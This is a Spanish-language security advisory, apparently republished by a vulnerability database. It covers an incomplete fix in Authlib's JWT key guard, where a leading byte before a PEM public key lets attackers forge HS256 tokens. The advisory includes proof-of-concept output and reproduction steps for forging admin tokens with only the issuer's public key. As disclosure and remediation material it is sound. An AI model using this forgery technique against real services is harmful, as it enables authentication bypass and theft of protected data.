Corrección incompleta de confusión de algoritmos en Authlib permite falsificación HMAC con claves públicas prefijadas
Resumen
OctKey.import_key() contiene la única protección que evita que una clave pública asimétrica se use como secreto HMAC en authlib.jose. Dicha protección es raw_key.startswith(POSSIBLE_UNSAFE_KEYS) —anclada en el byte 0—, mientras que el cargador que procesa los mismos bytes en la ruta asimétrica (cryptography.hazmat.primitives.serialization.load_pem_public_key / load_pem_x509_certificate) omite cualquier contenido previo a la línea -----BEGIN. Por lo tanto, una clave pública PEM o un certificado X.509 que contenga un solo byte inicial —un salto de línea, un espacio, cuatro espacios de sangría, un BOM UTF-8 o una línea de comentario— no se reconoce, pasa el filtro y se convierte en el secreto HMAC. Un atacante que posea únicamente la clave pública del emisor puede entonces forjar un token HS256 con notificaciones (claims) arbitrarias que jwt.decode() acepta como auténtico.
Se trata de una corrección incompleta de CVE-2024-37568 / GHSA-5357-c2jx-v7qh. La solución de ese aviso es exactamente esta protección (git log -S 'POSSIBLE_UNSAFE_KEYS' -- authlib/jose/rfc7518/oct_key.py devuelve un único commit, 3bea812 "fix: prevent OctKey to import ssh/rsa/pem keys", en referencia al issue #654), y el ataque original vuelve a funcionar sin cambios siempre que el PEM almacenado no comience en el desplazamiento 0.
Reproducido de extremo a extremo en 1.8.0, la versión más reciente (publicada el 2026-08-30), y en origin/main (c529a61), con cryptography 50.0.2.
Condiciones previas
Ambas son propiedades del despliegue; ninguna está bajo control del atacante en el momento de la solicitud, y el atacante no necesita secretos ni interacción del usuario.
-
La parte usuaria (relying party) utiliza el objeto documentado a nivel de módulo
jwt.from authlib.jose import jwtse construye enauthlib/jose/__init__.py:55-72con la lista completa["HS256","HS384","HS512","RS256",...,"EdDSA"], yJsonWebToken.decode(authlib/jose/rfc7519/jwt.py:80) no expone ningún parámetroalgorithms, por lo que quien llama al objeto documentado no tiene forma de restringirla. Este es el primer ejemplo de código endocs/jose/jwt.rst:21-31.Este riesgo ya está documentado:
docs/jose/jwt.rst:73-79indica "This decoding method is insecure. By defaultjwt.decodeparses the alg header. This allows symmetric macs and asymmetric signatures.", ydocs/jose/jwt.rst:94-98indica "You should never combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes." El punto de este informe no es que exista la lista mixta, sino que la protecciónoct_key.py:81implementada precisamente para mitigar ese riesgo documentado no se cumple. -
La clave de verificación se pasa como texto PEM/certificado cuyos bytes no comienzan en el desplazamiento 0 con
-----BEGIN. Se confirmó la falsificación en cada una de las siguientes formas, y cada una de ellas sigue verificando un token RS256/ES256 auténtico con los mismos bytes, por lo que nada en el despliegue parece roto:- un salto de línea inicial —lo que produce un literal de Python con triples comillas
- un espacio inicial
- sangría de cuatro espacios —un bloque de configuración YAML/JSON/TOML indentado
- un BOM UTF-8 —un artefacto de editores de Windows
- una línea de comentario inicial
- todo lo anterior aplicado a un PEM X.509
CERTIFICATEen lugar de un PEMPUBLIC KEY
Un blob DER SPKI sin procesar también elude la protección, pero DER no puede usarse para una verificación asimétrica genuina mediante esta ruta, por lo que se excluye como configuración no desplegable y se menciona únicamente como prueba adicional de la discrepancia entre el reconocedor y el cargador.
Detalles
authlib/jose/rfc7518/oct_key.py:10-17
POSSIBLE_UNSAFE_KEYS = (
b"-----BEGIN ",
b"---- BEGIN ",
b"ssh-rsa ",
b"ssh-dss ",
b"ssh-ed25519 ",
b"ecdsa-sha2-",
)
authlib/jose/rfc7518/oct_key.py:78-84
raw_key = to_bytes(raw)
# security check
if raw_key.startswith(POSSIBLE_UNSAFE_KEYS):
raise ValueError("This key may not be safe to import")
key = cls(raw_key=raw_key, options=options)
bytes.startswith está anclado. El cargador en la ruta asimétrica no lo está: authlib/jose/rfc7517/_cryptography_key.py:22-29 llama a load_pem_public_key / load_pem_x509_certificate, y ambos escanean hacia adelante en busca del encabezado blindado (armour header). Por lo tanto, el conjunto de cadenas de bytes que rechaza el reconocedor es estrictamente menor que el conjunto que acepta el cargador, y la diferencia es explotable.
Alcance para quien llama al objeto documentado:
authlib/jose/rfc7518/jws_algs.py:59—HMACAlgorithm.prepare_key(raw_data)devuelveOctKey.import_key(raw_data); este es todo el manejo de claves HMAC.authlib/jose/rfc7519/jwt.py:80—JsonWebToken.decode(self, s, key, claims_cls=None, claims_options=None, claims_params=None); el algoritmo proviene del encabezado del token y solo se verifica contra la lista de la instancia.authlib/jose/__init__.py:55-72— esa lista contiene tanto HS* como RS*/ES*/PS*/EdDSA.
Por lo tanto, oct_key.py:81 es lo único que se interpone entre una lista de permitidos mixta y el uso de la clave pública como secreto HMAC, y se elude mediante un solo byte inicial.
PoC
poc-authlib-e2e-http.py levanta una API de Flask cuya única autenticación es la documentada en jwt.decode(token, PUBLIC_KEY), donde PUBLIC_KEY es la clave pública RSA del emisor incrustada como un literal de Python con triples comillas (por lo tanto, con un salto de línea inicial). Al atacante se le proporciona únicamente esa clave pública.
authlib=1.8.0 cryptography=50.0.2 flask=3.1.3
guard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)
call = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]
algs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])
[baseline 1] genuine RS256 token, role=user -> (403, '{"error":"not admin","sub":"alice"}')
[baseline 2] genuine RS256 token, role=admin -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"root"}')
[CONTROL 1 ] payload tampered, RS256 sig kept -> (401, '{"error":"BadSignatureError: bad_signature: "}')
[CONTROL 2 ] HS256 forged with CANONICAL pubkey -> BLOCKED at key import: ValueError: This key may not be safe to import
[CONTROL 3 ] JsonWebToken(['RS256']) vs forged token -> REJECTED: UnsupportedAlgorithmError
ATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.
forged token header: {'alg': 'HS256', 'typ': 'JWT'}
[ATTACK ] HS256 forged with the PUBLIC key -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"attacker"}')
Los tres controles demuestran que la protección sí funciona con un PEM canónico (por lo que el byte inicial es determinante), que la verificación de firma ordinaria sigue intacta y que fijar el algoritmo es una mitigación efectiva.
Matriz por formato, para ambos tipos de clave, con un control que demuestra que la verificación asimétrica genuina sigue teniendo éxito con exactamente los mismos bytes:
### RSA-2048/RS256
canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError
indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin
[CONTROL C] JsonWebToken(['RS256']).decode(forged HS256) -> REJECTED:UnsupportedAlgorithmError
### EC-P256/ES256
identical results for all seven rows
Same five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.
Pasos para reproducir
pip install authlib==1.8.0 cryptography flask requests- Genere un par de claves RSA-2048; serialice la clave pública a PEM y anteponga un salto de línea (o aplique sangría, anteponga un BOM o una línea de comentario).
- Confirme que
authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYSno coincide con esos bytes constartswith, mientras quecryptography.hazmat.primitives.serialization.load_pem_public_keylos carga. from authlib.jose import jwty luegotok = jwt.encode({"alg":"HS256"}, {"sub":"attacker","role":"admin"}, mutated_pem)jwt.decode(tok, mutated_pem)— la verificación se realiza con éxito y se devuelven las notificaciones (claims).
Impacto
Evasión de la verificación de firmas criptográficas que conduce a una elusión de autenticación (CWE-347, confusión de algoritmo). Un atacante no autenticado que solo conoce la clave pública de verificación del emisor —pública por definición, normalmente servida en /.well-known/jwks.json o en metadatos del IdP— falsifica tokens con notificaciones arbitrarias, incluyendo roles administrativos y sujetos arbitrarios. En la PoC, esto genera un HTTP 200 y los secretos de administración de la aplicación para sub=attacker.
Authlib registró 103,356,930 descargas de PyPI en el último mes (pypistats /api/packages/authlib/recent, leído 2026-10-01), motivo por el cual reporto una elusión de la protección y no solo el riesgo documentado que esta debía cubrir.
Dos notas para la clasificación, en aras de la exhaustividad:
authlib.joseemiteAuthlibDeprecationWarning("please use joserfc instead. It will be compatible before version 2.0.0"). Está obsoleto pero todavía se distribuye, aún está documentado endocs/jose/jwt.rsty mantiene el volumen de descargas indicado anteriormente.- joserfc no se ve afectado por este mecanismo. Se verificó 1.7.5: las claves llevan un
ktyexplícito en el modelo de datos, por lo quejwt.decodecon unRSAKey/ECKeyyalg=HS256generaInvalidKeyTypeErroren cada una de las siete formas aceptadas por el cargador. Tipificar la clave en lugar de inspeccionar sus bytes es lo que hace que esta clase de vulnerabilidad no sea representable allí.
Sugerencias de remediación
Cualquiera de estas opciones cierra la clase de vulnerabilidad en lugar de solo un formato de bytes adicional:
- Determinar la familia de la clave por tipo, no por bytes. Intente ejecutar
load_pem_public_key/load_pem_x509_certificate/load_ssh_public_key/load_der_public_keyen el candidato y rechácelo como claveoctsi cualquiera de ellos tiene éxito. Este es el enfoque que inmuniza a joserfc y no puede desfasarse respecto al cargador, porque es el cargador. - Si se debe mantener un reconocedor simple, conviértalo en un escaneo de subcadenas en lugar de una comprobación de prefijo anclada (
any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)) y agregue los casos-----BEGIN CERTIFICATE-----y DERSubjectPublicKeyInfo. Esto es estrictamente más débil que (1): el reconocedor puede volver a desfasarse la próxima vez quecryptographyse vuelva más tolerante.
De forma independiente a este informe: proporcionar a JsonWebToken.decode un parámetro algorithms= permitiría a quienes llaman al objeto documentado a nivel de módulo aplicar la mitigación recomendada en la documentación sin necesidad de construir un segundo JsonWebToken.
Créditos
Encontrado por zer0d4y5. Dispuesto a probar una rama de parche antes del lanzamiento.
Qué hacer
Actualice Authlib a la versión 1.9.0 o posterior. Como alternativa, implemente la validación por tipo de clave en lugar de inspeccionar bytes, o evite combinar algoritmos simétricos y asimétricos restringiendo explícitamente los algoritmos permitidos.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | authlib | >= 1.3.1, < 1.9.0 | 1.9.0 |
Referencias
- https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p
- https://nvd.nist.gov/vuln/detail/CVE-2026-114615
- https://github.com/authlib/authlib/pull/945
- https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf
- https://github.com/authlib/authlib
- https://github.com/authlib/authlib/releases/tag/v1.9.0
- Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N- Debilidad (CWE)
CWE-184, CWE-347- Plataforma
- Python (PyPI)
- Paquete
authlib- Publicada
- 22.10.2026
- Actualizado
- 31.10.2026 10:00
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - PYSEC-2026-4355 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-7vr2-2fgp-9w7p - CC BY 4.0
Historial de vulnerabilidades: authlib
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 19
- Primera → última
- 06.2024 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 2
- Alta 7
- Media 9
- Baja 1
Divulgaciones por año
- 2024: 1
- 2025: 3
- 2026: 15
-
Corrección incompleta de confusión de algoritmos en Authlib permite falsificación HMAC con claves públicas prefijadas esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.